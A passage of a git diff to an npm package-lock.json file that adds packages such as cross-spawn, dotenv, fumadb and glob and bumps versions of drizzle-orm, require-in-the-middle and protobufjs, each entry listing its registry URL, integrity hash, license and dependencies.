"url": "https://github.com/sponsors/mesqueeb"
@@ -5732,6 +6284,21 @@
}
}
},
+ "node_modules/cross-spawn": {
+ "version": "7.0.6",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "path-key": "^3.1.0",
+ "shebang-command": "^2.0.0",
+ "which": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
"node_modules/csstype": {
"version": "3.1.3",
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
@@ -5804,6 +6371,13 @@
"url": "https://github.com/sponsors/ljharb"
}
},
+ "node_modules/dayjs": {
+ "version": "1.11.19",
+ "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.19.tgz",
+ "integrity": "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw==",
+ "license": "MIT",
+ "peer": true
+ },
"node_modules/debug": {
"version": "4.4.1",
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
@@ -5864,6 +6438,21 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
+ "node_modules/dedent": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.0.tgz",
+ "integrity": "sha512-HGFtf8yhuhGhqO07SV79tRp+br4MnbdjeVxotpn1QBl30pcLLCQjX5b2295ll0fv8RKDKsmWYrl05usHM9CewQ==",
+ "license": "MIT",
+ "peer": true,
+ "peerDependencies": {
+ "babel-plugin-macros": "^3.1.0"
+ },
+ "peerDependenciesMeta": {
+ "babel-plugin-macros": {
+ "optional": true
+ }
+ }
+ },
"node_modules/defer-to-connect": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz",
@@ -5878,7 +6467,6 @@
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
"integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
- "dev": true,
"license": "MIT",
"dependencies": {
"es-define-property": "^1.0.0",
@@ -6067,11 +6655,26 @@
"node": ">=6"
}
},
+ "node_modules/dotenv": {
+ "version": "16.6.1",
+ "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz",
+ "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==",
+ "license": "BSD-2-Clause",
+ "peer": true,
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://dotenvx.com"
+ }
+ },
"node_modules/drizzle-orm": {
- "version": "0.41.0",
- "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.41.0.tgz",
- "integrity": "sha512-7A4ZxhHk9gdlXmTdPj/lREtP+3u8KvZ4yEN6MYVxBzZGex5Wtdc+CWSbu7btgF6TB0N+MNPrvW7RKBbxJchs/Q==",
+ "version": "0.44.7",
+ "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.44.7.tgz",
+ "integrity": "sha512-quIpnYznjU9lHshEOAYLoZ9s3jweleHlZIAWR/jX9gAWNg/JhQ1wj0KGRf7/Zm+obRrYd9GjPVJg790QY9N5AQ==",
"license": "Apache-2.0",
+ "optional": true,
+ "peer": true,
"peerDependencies": {
"@aws-sdk/client-rds-data": ">=3",
"@cloudflare/workers-types": ">=4",
@@ -6081,12 +6684,13 @@
"@neondatabase/serverless": ">=0.10.0",
"@op-engineering/op-sqlite": ">=2",
"@opentelemetry/api": "^1.4.1",
- "@planetscale/database": ">=1",
+ "@planetscale/database": ">=1.13",
"@prisma/client": "*",
"@tidbcloud/serverless": "*",
"@types/better-sqlite3": "*",
"@types/pg": "*",
"@types/sql.js": "*",
+ "@upstash/redis": ">=1.34.7",
"@vercel/postgres": ">=0.8.0",
"@xata.io/client": "*",
"better-sqlite3": ">=7",
@@ -6144,6 +6748,9 @@
"@types/sql.js": {
"optional": true
},
+ "@upstash/redis": {
+ "optional": true
+ },
"@vercel/postgres": {
"optional": true
},
@@ -6192,7 +6799,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
"integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
- "dev": true,
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.1",
@@ -6203,6 +6809,13 @@
"node": ">= 0.4"
}
},
+ "node_modules/eastasianwidth": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
+ "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==",
+ "license": "MIT",
+ "peer": true
+ },
"node_modules/ee-first": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
@@ -6460,7 +7073,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
"integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -6470,7 +7082,6 @@
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
"integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -6480,7 +7091,6 @@
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
"integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
- "dev": true,
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0"
@@ -7053,7 +7663,6 @@
"version": "0.3.5",
"resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",
"integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",
- "dev": true,
"license": "MIT",
"dependencies": {
"is-callable": "^1.2.7"
@@ -7065,6 +7674,36 @@
"url": "https://github.com/sponsors/ljharb"
}
},
+ "node_modules/foreground-child": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz",
+ "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==",
+ "license": "ISC",
+ "peer": true,
+ "dependencies": {
+ "cross-spawn": "^7.0.6",
+ "signal-exit": "^4.0.1"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/foreground-child/node_modules/signal-exit": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
+ "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+ "license": "ISC",
+ "peer": true,
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
"node_modules/form-data": {
"version": "4.0.4",
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
@@ -7177,6 +7816,72 @@
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
}
},
+ "node_modules/fumadb": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/fumadb/-/fumadb-0.1.2.tgz",
+ "integrity": "sha512-OUlPl1GkKGh15pjqkLvMU4mCczP6LlH73y2NfIZ4faPB3evFLcyPHpRkoWJZN56wII8bLQqBkyq5dTBO80v1kQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@clack/prompts": "^0.11.0",
+ "@paralleldrive/cuid2": "^2.2.2",
+ "commander": "^14.0.0",
+ "kysely": "^0.28.3",
+ "kysely-typeorm": "^0.3.0",
+ "semver": "^7.7.2",
+ "zod": "^4.0.5"
+ },
+ "peerDependencies": {
+ "convex": "^1.25.0",
+ "drizzle-orm": "^0.44.0",
+ "mongodb": "6.x.x",
+ "prisma": "6.x.x",
+ "typeorm": "0.x.x"
+ },
+ "peerDependenciesMeta": {
+ "convex": {
+ "optional": true
+ },
+ "drizzle-orm": {
+ "optional": true
+ },
+ "mongodb": {
+ "optional": true
+ },
+ "prisma": {
+ "optional": true
+ },
+ "typeorm": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/fumadb/node_modules/commander": {
+ "version": "14.0.2",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.2.tgz",
+ "integrity": "sha512-TywoWNNRbhoD0BXs1P3ZEScW8W5iKrnbithIl0YH+uCmBd0QpPOA8yc82DS3BIE5Ma6FnBVUsJ7wVUDz4dvOWQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=20"
+ }
+ },
+ "node_modules/fumadb/node_modules/kysely": {
+ "version": "0.28.8",
+ "resolved": "https://registry.npmjs.org/kysely/-/kysely-0.28.8.tgz",
+ "integrity": "sha512-QUOgl5ZrS9IRuhq5FvOKFSsD/3+IA6MLE81/bOOTRA/YQpKDza2sFdN5g6JCB9BOpqMJDGefLCQ9F12hRS13TA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=20.0.0"
+ }
+ },
+ "node_modules/fumadb/node_modules/zod": {
+ "version": "4.1.12",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.12.tgz",
+ "integrity": "sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
+ }
+ },
"node_modules/function-bind": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
@@ -7250,7 +7955,6 @@
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
"integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
- "dev": true,
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.2",
@@ -7275,7 +7979,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
"integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
- "dev": true,
"license": "MIT",
"dependencies": {
"dunder-proto": "^1.0.1",
@@ -7331,6 +8034,27 @@
"node": ">= 14"
}
},
+ "node_modules/glob": {
+ "version": "10.4.5",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz",
+ "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==",
+ "license": "ISC",
+ "peer": true,
+ "dependencies": {
+ "foreground-child": "^3.1.0",
+ "jackspeak": "^3.1.2",
+ "minimatch": "^9.0.4",
+ "minipass": "^7.1.2",
+ "package-json-from-dist": "^1.0.0",
+ "path-scurry": "^1.11.1"
+ },
+ "bin": {
+ "glob": "dist/esm/bin.mjs"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
"node_modules/glob-parent": {
"version": "5.1.2",
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
@@ -7344,6 +8068,42 @@
"node": ">= 6"
}
},
+ "node_modules/glob/node_modules/brace-expansion": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+ "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "balanced-match": "^1.0.0"
+ }
+ },
+ "node_modules/glob/node_modules/minimatch": {
+ "version": "9.0.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
+ "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "license": "ISC",
+ "peer": true,
+ "dependencies": {
+ "brace-expansion": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/glob/node_modules/minipass": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
+ "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
+ "license": "ISC",
+ "peer": true,
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ }
+ },
"node_modules/globalthis": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
@@ -7365,7 +8125,6 @@
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
"integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -7471,7 +8230,6 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
"integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
- "dev": true,
"license": "MIT",
"dependencies": {
"es-define-property": "^1.0.0"
@@ -7500,7 +8258,6 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
"integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -7513,7 +8270,6 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
"integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
- "dev": true,
"license": "MIT",
"dependencies": {
"has-symbols": "^1.0.3"
@@ -7982,7 +8738,6 @@
"version": "1.2.1",
"resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
"integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
- "dev": true,
"funding": [
{
"type": "github",
@@ -8028,12 +8783,13 @@
}
},
"node_modules/import-in-the-middle": {
- "version": "1.7.4",
- "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-1.7.4.tgz",
- "integrity": "sha512-Lk+qzWmiQuRPPulGQeK5qq0v32k2bHnWrRPFgqyvhw7Kkov5L6MOLOIU3pcWeujc9W4q54Cp3Q2WV16eQkc7Bg==",
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.0.tgz",
+ "integrity": "sha512-yNZhyQYqXpkT0AKq3F3KLasUSK4fHvebNH5hOsKQw2dhGSALvQ4U0BqUc5suziKvydO5u5hgN2hy1RJaho8U5A==",
"license": "Apache-2.0",
+ "peer": true,
"dependencies": {
- "acorn": "^8.8.2",
+ "acorn": "^8.14.0",
"acorn-import-attributes": "^1.9.5",
"cjs-module-lexer": "^1.2.2",
"module-details-from-path": "^1.0.3"
@@ -8056,7 +8812,6 @@
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
"integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
- "dev": true,
"license": "ISC"
},
"node_modules/ink": {
@@ -8358,7 +9113,6 @@
"version": "1.2.7",
"resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
"integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -8763,7 +9517,6 @@
"version": "1.1.15",
"resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
"integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
- "dev": true,
"license": "MIT",
"dependencies": {
"which-typed-array": "^1.1.16"
@@ -8822,12 +9575,12 @@
}
},
"node_modules/is-what": {
- "version": "4.1.16",
- "resolved": "https://registry.npmjs.org/is-what/-/is-what-4.1.16.tgz",
- "integrity": "sha512-ZhMwEosbFJkA0YhFnNDgTM4ZxDRsS6HqTo7qsZM08fehyRYIYa0yHu5R6mgo1n/8MgaPBXiPimPD77baVFYg+A==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/is-what/-/is-what-5.5.0.tgz",
+ "integrity": "sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==",
"license": "MIT",
"engines": {
- "node": ">=12.13"
+ "node": ">=18"
},
"funding": {
"url": "https://github.com/sponsors/mesqueeb"
@@ -8850,9 +9603,31 @@
"version": "2.0.5",
"resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
"integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
- "dev": true,
"license": "MIT"
},
+ "node_modules/isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+ "license": "ISC",
+ "peer": true
+ },
+ "node_modules/jackspeak": {
+ "version": "3.4.3",
+ "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz",
+ "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==",
+ "license": "BlueOak-1.0.0",
+ "peer": true,
+ "dependencies": {
+ "@isaacs/cliui": "^8.0.2"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ },
+ "optionalDependencies": {
+ "@pkgjs/parseargs": "^0.11.0"
+ }
+ },
"node_modules/js-tokens": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
@@ -8911,12 +9686,6 @@
"dev": true,
"license": "MIT"
},
- "node_modules/json-schema-typed": {
- "version": "8.0.1",
- "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.1.tgz",
- "integrity": "sha512-XQmWYj2Sm4kn4WeTYvmpKEbyPsL7nBsb647c7pMe6l02/yx2+Jfc4dT6UZkEXnIUb5LhD55r2HPsJ1milQ4rDg==",
- "license": "BSD-2-Clause"
- },
"node_modules/jsonc-parser": {
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-2.2.1.tgz",
@@ -9012,6 +9781,16 @@
"node": ">=14.0.0"
}
},
+ "node_modules/kysely-typeorm": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/kysely-typeorm/-/kysely-typeorm-0.3.0.tgz",
+ "integrity": "sha512-xQDx6+HagVmtXeuYd3Sz2CPYc/jOo7JO1ALldYPdwRrbiwSs9GFyNPp5JbElkfZB+T4DRb+A53pKWKYjlgSFeA==",
+ "license": "MIT",
+ "peerDependencies": {
+ "kysely": ">= 0.24.0 < 1",
+ "typeorm": ">= 0.3.0 < 0.4.0"
+ }
+ },
"node_modules/lcm": {
"version": "0.0.3",
"resolved": "https://registry.npmjs.org/lcm/-/lcm-0.0.3.tgz",
@@ -9055,12 +9834,6 @@
"integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==",
"license": "MIT"
},
- "node_modules/lodash.merge": {
- "version": "4.6.2",
- "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
- "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
- "license": "MIT"
- },
"node_modules/lodash.topath": {
"version": "4.5.2",
"resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz",
@@ -9149,7 +9922,6 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
"integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -10400,7 +11172,6 @@
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
"integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
- "dev": true,
"license": "ISC",
"engines": {
"node": ">=8"
@@ -10956,6 +11727,13 @@
"node": ">= 14"
}
},
+ "node_modules/package-json-from-dist": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz",
+ "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==",
+ "license": "BlueOak-1.0.0",
+ "peer": true
+ },
"node_modules/parent-module": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
@@ -11067,12 +11845,46 @@
"node": "^12.20.0 || ^14.13.1 || >=16.0.0"
}
},
+ "node_modules/path-key": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
"node_modules/path-parse": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
"integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
"license": "MIT"
},
+ "node_modules/path-scurry": {
+ "version": "1.11.1",
+ "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
+ "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
+ "license": "BlueOak-1.0.0",
+ "peer": true,
+ "dependencies": {
+ "lru-cache": "^10.2.0",
+ "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/path-scurry/node_modules/lru-cache": {
+ "version": "10.4.3",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+ "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
+ "license": "ISC",
+ "peer": true
+ },
"node_modules/path-to-regexp": {
"version": "0.1.12",
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
@@ -11120,7 +11932,6 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",
"integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">= 0.4"
@@ -11192,9 +12003,9 @@
}
},
"node_modules/protobufjs": {
- "version": "7.5.3",
- "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.3.tgz",
- "integrity": "sha512-sildjKwVqOI2kmFDiXQ6aEB0fjYTafpEvIBs8tOR8qI4spuL9OPROLVu2qZqi/xgCfsHIwVqlaF8JBjWFHnKbw==",
+ "version": "7.5.4",
+ "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz",
+ "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==",
"hasInstallScript": true,
"license": "BSD-3-Clause",
"dependencies": {
@@ -11545,6 +12356,13 @@
"url": "https://opencollective.com/unified"
}
},
+ "node_modules/reflect-metadata": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz",
+ "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==",
+ "license": "Apache-2.0",
+ "peer": true
+ },
"node_modules/reflect.getprototypeof": {
"version": "1.0.10",
"resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
@@ -11870,26 +12688,26 @@
}
},
"node_modules/require-in-the-middle": {
- "version": "7.5.2",
- "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-7.5.2.tgz",
- "integrity": "sha512-gAZ+kLqBdHarXB64XpAe2VCjB7rIRv+mU8tfRWziHRJ5umKsIHN2tLLv6EtMw7WCdP19S0ERVMldNvxYCHnhSQ==",
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-8.0.1.tgz",
+ "integrity": "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ==",
"license": "MIT",
+ "peer": true,
"dependencies": {
"debug": "^4.3.5",
- "module-details-from-path": "^1.0.3",
- "resolve": "^1.22.8"
+ "module-details-from-path": "^1.0.3"
},
"engines": {
- "node": ">=8.6.0"
+ "node": ">=9.3.0 || >=8.10.0 <9.0.0"
}
},
"node_modules/resolve": {
- "version": "1.22.10",
- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz",
